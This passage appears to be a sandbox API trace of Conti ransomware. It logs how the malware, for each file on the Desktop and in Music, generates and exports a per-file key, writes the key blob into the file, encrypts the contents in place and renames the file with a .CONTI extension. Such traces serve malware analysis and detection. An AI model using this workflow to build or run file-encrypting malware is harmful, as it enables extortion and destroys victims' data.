	[0137.779] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.779] WriteFile (in: hFile=0x43c, lpBuffer=0x6b5327c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b5327c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0137.780] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.780] ReadFile (in: hFile=0x43c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x7c5f, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x7c5f, lpOverlapped=0x0) returned 1
	[0137.781] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x7c5f, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x7c60) returned 1
	[0137.781] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.781] WriteFile (in: hFile=0x43c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x7c60, lpOverlapped=0x0) returned 1
	[0137.781] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.781] WriteFile (in: hFile=0x43c, lpBuffer=0x6b53270*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b53270*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0137.781] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.781] CloseHandle (hObject=0x43c) returned 1
	[0137.781] GetProcessHeap () returned 0x1720000
	[0137.781] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fe8e8
	[0137.781] lstrcpyW (in: lpString1=0x17fe8e8, lpString2="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\7wu-3G41gko.flv" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\7wu-3G41gko.flv") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\7wu-3G41gko.flv"
	[0137.781] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\7wu-3G41gko.flv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\7wu-3G41gko.flv.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\7wu-3G41gko.flv.CONTI"
	[0137.781] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\7wu-3G41gko.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\7wu-3g41gko.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\7wu-3G41gko.flv.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\7wu-3g41gko.flv.conti")) returned 1
	[0137.782] GetProcessHeap () returned 0x1720000
	[0137.782] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fe8e8 | out: hHeap=0x1720000) returned 1
	[0137.782] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0137.782] GetProcessHeap () returned 0x1720000
	[0137.782] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7aec0 | out: hHeap=0x1720000) returned 1
	[0137.782] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0137.782] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b479b0 | out: phKey=0x6b479b0*=0x6b7f438) returned 1
	[0137.782] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b479b4, pdwDataLen=0x4e7fc24 | out: pbData=0x6b479b4*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0137.783] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\D9lk7 R6mJetNTg.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\d9lk7 r6mjetntg.bmp")) returned 0x20
	[0137.783] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\D9lk7 R6mJetNTg.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\d9lk7 r6mjetntg.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0137.783] GetLastError () returned 0x0
	[0137.783] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=64207) returned 1
	[0137.783] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfacf
	[0137.783] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.783] SetEndOfFile (hFile=0x43c) returned 1
	[0137.783] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.783] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.783] WriteFile (in: hFile=0x43c, lpBuffer=0x6b479b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b479b4*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0137.786] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.786] ReadFile (in: hFile=0x43c, lpBuffer=0xe470000, nNumberOfBytesToRead=0xfacf, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0xfacf, lpOverlapped=0x0) returned 1
	[0137.786] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0xfacf, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0xfad0) returned 1
	[0137.786] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.786] WriteFile (in: hFile=0x43c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0xfad0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0xfad0, lpOverlapped=0x0) returned 1
	[0137.786] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.786] WriteFile (in: hFile=0x43c, lpBuffer=0x6b479a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b479a8*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0137.786] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.786] CloseHandle (hObject=0x43c) returned 1
	[0137.787] GetProcessHeap () returned 0x1720000
	[0137.787] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fe8e8
	[0137.787] lstrcpyW (in: lpString1=0x17fe8e8, lpString2="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\D9lk7 R6mJetNTg.bmp" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\D9lk7 R6mJetNTg.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\D9lk7 R6mJetNTg.bmp"
	[0137.787] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\D9lk7 R6mJetNTg.bmp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\D9lk7 R6mJetNTg.bmp.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\D9lk7 R6mJetNTg.bmp.CONTI"
	[0137.787] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\D9lk7 R6mJetNTg.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\d9lk7 r6mjetntg.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\D9lk7 R6mJetNTg.bmp.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\d9lk7 r6mjetntg.bmp.conti")) returned 1
	[0137.787] GetProcessHeap () returned 0x1720000
	[0137.787] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fe8e8 | out: hHeap=0x1720000) returned 1
	[0137.787] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0137.787] GetProcessHeap () returned 0x1720000
	[0137.787] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176b8a8 | out: hHeap=0x1720000) returned 1
	[0137.787] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0137.787] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b44c10 | out: phKey=0x6b44c10*=0x6b7f0b8) returned 1
	[0137.787] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44c14, pdwDataLen=0x4e7fc24 | out: pbData=0x6b44c14*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0137.788] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\ardbHSY1fP1Azk0B.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\ardbhsy1fp1azk0b.avi")) returned 0x20
	[0137.788] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\ardbHSY1fP1Azk0B.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\ardbhsy1fp1azk0b.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0137.788] GetLastError () returned 0x0
	[0137.788] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=24192) returned 1
	[0137.789] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5e80
	[0137.789] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.789] SetEndOfFile (hFile=0x43c) returned 1
	[0137.789] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.789] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.789] WriteFile (in: hFile=0x43c, lpBuffer=0x6b44c14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b44c14*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0137.790] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.790] ReadFile (in: hFile=0x43c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x5e80, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x5e80, lpOverlapped=0x0) returned 1
	[0137.791] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x5e80, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x5e90) returned 1
	[0137.791] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.791] WriteFile (in: hFile=0x43c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x5e90, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x5e90, lpOverlapped=0x0) returned 1
	[0137.791] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.791] WriteFile (in: hFile=0x43c, lpBuffer=0x6b44c08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b44c08*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0137.791] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.791] CloseHandle (hObject=0x43c) returned 1
	[0137.791] GetProcessHeap () returned 0x1720000
	[0137.791] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fe8e8
	[0137.792] lstrcpyW (in: lpString1=0x17fe8e8, lpString2="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\ardbHSY1fP1Azk0B.avi" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\ardbHSY1fP1Azk0B.avi") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\ardbHSY1fP1Azk0B.avi"
	[0137.792] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\ardbHSY1fP1Azk0B.avi", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\ardbHSY1fP1Azk0B.avi.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\ardbHSY1fP1Azk0B.avi.CONTI"
	[0137.792] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\ardbHSY1fP1Azk0B.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\ardbhsy1fp1azk0b.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\ardbHSY1fP1Azk0B.avi.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\ardbhsy1fp1azk0b.avi.conti")) returned 1
	[0137.792] GetProcessHeap () returned 0x1720000
	[0137.793] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fe8e8 | out: hHeap=0x1720000) returned 1
	[0137.793] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0137.793] GetProcessHeap () returned 0x1720000
	[0137.793] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173eab0 | out: hHeap=0x1720000) returned 1
	[0137.793] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0137.793] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b44780 | out: phKey=0x6b44780*=0x6b7f0b8) returned 1
	[0137.793] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44784, pdwDataLen=0x4e7fc24 | out: pbData=0x6b44784*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0137.793] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Eojv9Vz1sI-t.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\eojv9vz1si-t.jpg")) returned 0x20
	[0137.794] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Eojv9Vz1sI-t.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\eojv9vz1si-t.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0137.794] GetLastError () returned 0x0
	[0137.794] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=42864) returned 1
	[0137.794] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa770
	[0137.794] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.794] SetEndOfFile (hFile=0x43c) returned 1
	[0137.794] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.794] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.794] WriteFile (in: hFile=0x43c, lpBuffer=0x6b44784*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b44784*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0139.084] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.084] ReadFile (in: hFile=0x43c, lpBuffer=0xe470000, nNumberOfBytesToRead=0xa770, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0xa770, lpOverlapped=0x0) returned 1
	[0139.094] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0xa770, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0xa780) returned 1
	[0139.095] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.095] WriteFile (in: hFile=0x43c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0xa780, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0xa780, lpOverlapped=0x0) returned 1
	[0139.120] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.120] WriteFile (in: hFile=0x43c, lpBuffer=0x6b44778*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b44778*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0139.120] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.120] CloseHandle (hObject=0x43c) returned 1
	[0139.120] GetProcessHeap () returned 0x1720000
	[0139.120] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.938] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Eojv9Vz1sI-t.jpg" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Eojv9Vz1sI-t.jpg") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Eojv9Vz1sI-t.jpg"
	[0140.941] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Eojv9Vz1sI-t.jpg", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Eojv9Vz1sI-t.jpg.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Eojv9Vz1sI-t.jpg.CONTI"
	[0140.942] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Eojv9Vz1sI-t.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\eojv9vz1si-t.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\Eojv9Vz1sI-t.jpg.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\eojv9vz1si-t.jpg.conti")) returned 1
	[0141.021] GetProcessHeap () returned 0x1720000
	[0141.021] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.021] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0141.021] GetProcessHeap () returned 0x1720000
	[0141.024] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173fcf0 | out: hHeap=0x1720000) returned 1
	[0141.027] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0141.029] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b45778 | out: phKey=0x6b45778*=0x6b7f0b8) returned 1
	[0141.029] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4577c, pdwDataLen=0x4e7fc24 | out: pbData=0x6b4577c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0141.071] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\kfwPt7OtP1knEj8tTU.m4a" (normalized: "c:\\users\\fd1hvy\\music\\kfwpt7otp1knej8ttu.m4a")) returned 0x20
	[0141.071] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\kfwPt7OtP1knEj8tTU.m4a" (normalized: "c:\\users\\fd1hvy\\music\\kfwpt7otp1knej8ttu.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0141.072] GetLastError () returned 0x0
	[0141.072] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=7505) returned 1
	[0141.072] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d51
	[0141.072] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.072] SetEndOfFile (hFile=0x43c) returned 1
	[0141.072] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.072] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.072] WriteFile (in: hFile=0x43c, lpBuffer=0x6b4577c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b4577c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0141.078] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.078] ReadFile (in: hFile=0x43c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x1d51, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x1d51, lpOverlapped=0x0) returned 1
